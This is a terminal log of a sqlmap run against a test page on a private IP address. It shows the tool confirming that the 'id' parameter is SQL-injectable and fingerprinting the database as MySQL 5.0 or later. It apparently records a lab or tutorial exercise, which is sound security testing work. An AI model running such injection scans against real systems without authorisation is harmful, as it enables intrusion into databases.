neo@neo-OptiPlex-380:~$ sqlmap -u "http://172.16.0.44/test/testdb.php?id=12" --dbms "mysql"

[*] starting at: 17:39:43

[17:39:43] [INFO] testing connection to the target url
[17:39:43] [INFO] testing if the url is stable, wait a few seconds
[17:39:44] [INFO] url is stable
[17:39:44] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[17:39:44] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[17:39:44] [INFO] testing if GET parameter 'id' is dynamic
[17:39:44] [INFO] confirming that GET parameter 'id' is dynamic
[17:39:44] [INFO] GET parameter 'id' is dynamic
[17:39:44] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[17:39:44] [INFO] testing unescaped numeric injection on GET parameter 'id'
[17:39:44] [INFO] confirming unescaped numeric injection on GET parameter 'id'
[17:39:44] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
[17:39:44] [INFO] testing for parenthesis on injectable parameter
[17:39:44] [INFO] the injectable parameter requires 0 parenthesis
[17:39:44] [INFO] testing MySQL
[17:39:44] [INFO] confirming MySQL
[17:39:44] [INFO] query: SELECT 2 FROM information_schema.TABLES LIMIT 0, 1
[17:39:44] [INFO] retrieved: 2
[17:39:45] [INFO] performed 13 queries in 0 seconds
[17:39:45] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0


[*] shutting down at: 17:39:45